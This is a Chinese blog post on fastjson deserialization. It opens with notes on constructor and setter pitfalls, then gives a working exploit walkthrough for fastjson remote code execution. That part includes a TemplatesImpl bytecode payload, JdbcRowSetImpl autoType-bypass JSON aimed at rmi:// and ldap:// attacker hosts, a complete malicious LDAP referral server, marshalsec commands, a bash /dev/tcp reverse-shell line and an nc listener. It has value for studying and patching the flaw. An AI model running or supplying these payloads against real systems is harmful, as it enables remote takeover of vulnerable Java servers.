fastjson反序列化踩坑记录

适用版本:
fastjson:1.2.71
fastjson:1.1.72.android

 

一、JavaBeanInfo build 5XX行:"default constructor not found. " + clazz
fastjson反序列化过程参考:https://www.cnblogs.com/Raiden-xin/p/12681577.html

发现于安卓环境,出于保证对象初始化时某属性必须赋值的目的,只提供了有参构造函数;非android运行环境测试正常。
fastjson通用版本的有参构造函数反序列化依赖于ASMUtils获取构造函数传入的形参名称、进而去json串中查找对应名称的字段来赋值;由于java和android虚拟机不同,生成的字节码格式有差异,ASMUtils.lookupParameterNames判断了是否为安卓环境(虚拟机名称),若是直接返回空数组,导致有参构造函数不可用。
fastjson安卓版本必须要求默认构造函数+setter方法反序列化。

注:

1、构造函数是否为public并不影响,调用时会setAccessible。

2、通过有参构造函数反序列化对象时,属性的赋值通过Field完成,与getter/setter方法是否存在无关。

启示:遵循JavaBean规范,提供默认公用无参构造函数,bean和模型分离。

 

二、没有setter方法则属性值为null:高版本未设置setter方法会找不到FieldDeserializer

JavaBeanInfo build 515行 会先查找setter方法、根据属性名称反射拿到Field,在620行new出FieldInfo、加入fieldList。
720行收集getter方法,判断是否是集合或者map,不会建立FieldInfo对象。

JavaBeanInfo的FieldInfo[]在没有JsonField注解时基本只由setter方法决定,
FieldDeserializer基于JavaBeanInfo建立,
JavaBeanDeserializer:高版本默认构造器生成对象后不走FieldInfo,即不会通过Field、而是通过FieldDeserializer-DefaultFieldDeserializer的setter Method进行属性赋值

启示:遵循JavaBean规范,提供声明属性的公用setter、getter方法,bean和模型分离。

 

三、fastjson<1.2.70反序列化RCE安全漏洞
背景随便查一下,一大片一大片满是的。。
反序列化黑名单位置:com.alibaba.fastjson.parser.ParserConfig.denyList(值由原来的全路径改为hash值)
<1.2.70版本的利用方式尚未公布,公众号上已有人提供了思路。以下只大致记录下自己验证过的漏洞利用过程,分别测试了运行计算器和反弹shell:

【初版 现被黑名单封堵】

Exploit:
ParserConfig config = ParserConfig.global;
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
ParserConfig.getGlobalInstance().addAccept("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
String evilClassPath="D:\workspace\...\poc.class";


String evilCode = readClass(evilClassPath);
final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String text1 = "{"@type":"" + NASTY_CLASS +"","_bytecodes":[""+evilCode+""],'_name':'a.b','_tfactory':{ },"_outputProperties":{ }," +
""_name":"a","_version":"1.0","allowedProtocols":"all"} ";

Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);

 

import java.io.IOException;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class poc extends AbstractTranslet {

public poc() throws IOException {
Runtime.getRuntime().exec("calc.exe");
namesArray=new String[0];
}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
}

@Override
public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException {

}

}

【<=1.2.47版本漏洞 构造反序列化对象缓存绕过黑名单验证+JNDI注入】

环境条件:
jmi:需要jdk8 121以下(一说113)
ldap:需要jdk8 182以下(一说191)


#rmi

#创建服务器
Registry registry = LocateRegistry.createRegistry(1099);
System.setProperty("java.rmi.server.hostname","192.168.10.109");
String remote_class_server = "http://192.168.10.109/";
Reference reference = new Reference("Exploit", "xxx.Exploit", remote_class_server);
//reference的factory class参数指向了一个外部Web服务的地址
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("poc", referenceWrapper);

#rmi触发接口入参

{ "name":{ "@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl" }, "x":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://192.168.10.109/poc", "autoCommit":true } }


#ldap

#Exploit中反弹shell语句
bash -i >& /dev/tcp/xx.xx.xx.xx/xxxx 0>&1

#创建服务器

新建一个testfastjson工程,引入依赖

 

<dependency>
<groupId>com.unboundid</groupId>
<artifactId>unboundid-ldapsdk</artifactId>
<version>3.1.1</version>
</dependency>

 

LdapServer:

 

package testfastjson;

import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

public class LdapServer {
private static final String LDAP_BASE = "dc=example,dc=com";

public static void main(String[] args) {
int port = xxxx;

try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig("listen", 
InetAddress.getByName("0.0.0.0"),
port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));

config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[0])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening();

} catch (Exception e) {
e.printStackTrace();
}
}

private static class OperationInterceptor extends InMemoryOperationInterceptor {

private URL codebase;

/**
*
*/
public OperationInterceptor(URL cb) {
this.codebase = cb;
}

/**
* {@inheritDoc}
*
* @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
*/
@Override
public void processSearchResult(InMemoryInterceptedSearchResult result) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
} catch (Exception e1) {
e1.printStackTrace();
}

}

protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e)
throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "Exploit");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if (refPos > 0) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring + "/");
e.addAttribute("objectClass", "javaNamingReference");
e.addAttribute("javaFactory", "Exploit");
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}

}
}


#ldap触发接口入参

{ "name":{ "@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl" }, "x":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"ldap://192.168.10.109:xxxx/Exploit", "autoCommit":true } }


攻击方部署

(1)搭建ldap服务器
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.10.109#Exploit 1389

java -cp testfastjson-0.0.1-SNAPSHOT-all.jar testfastjson.LdapServer http://192.168.10.109#Exploit

注:marshalsec是一个专门复现、验证漏洞集合的工具,但我在测试中并未成功,只好参考marshalsec的源码搭建了简易的ldap服务器

(2)web服务支持文件下载

提供Exploit下载url

(3)攻击机等待反弹shell
nc -lvvp xxxx

原理是远程通过url加载工厂类,运行其中构造函数/重写的方法。

坑点记录:
1、最关键的是javaCodeBase,后加/
2、Exploit如果有包结构,一定要放到jar里边,相应的在javaCodeBase后边添加jar路径,否则报java.lang.NoClassDefFoundError(wrong name:xxx)
3、注意JDK版本,高版本中com.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为false,即默认不允许从远程的Codebase加载Reference工厂类。

延伸:
【关于JDK高版本下RMI、LDAP+JNDI bypass的一点笔记:直接返回从javaSerializedData属性中获取的属性值】
https://www.cnblogs.com/tr1ple/p/12335098.html

【如何绕过高版本JDK的限制进行JNDI注入:利用本地Class作为Reference Factory】
https://www.freebuf.com/column/207439.html

原文地址:https://www.cnblogs.com/feixuefubing/p/13229764.html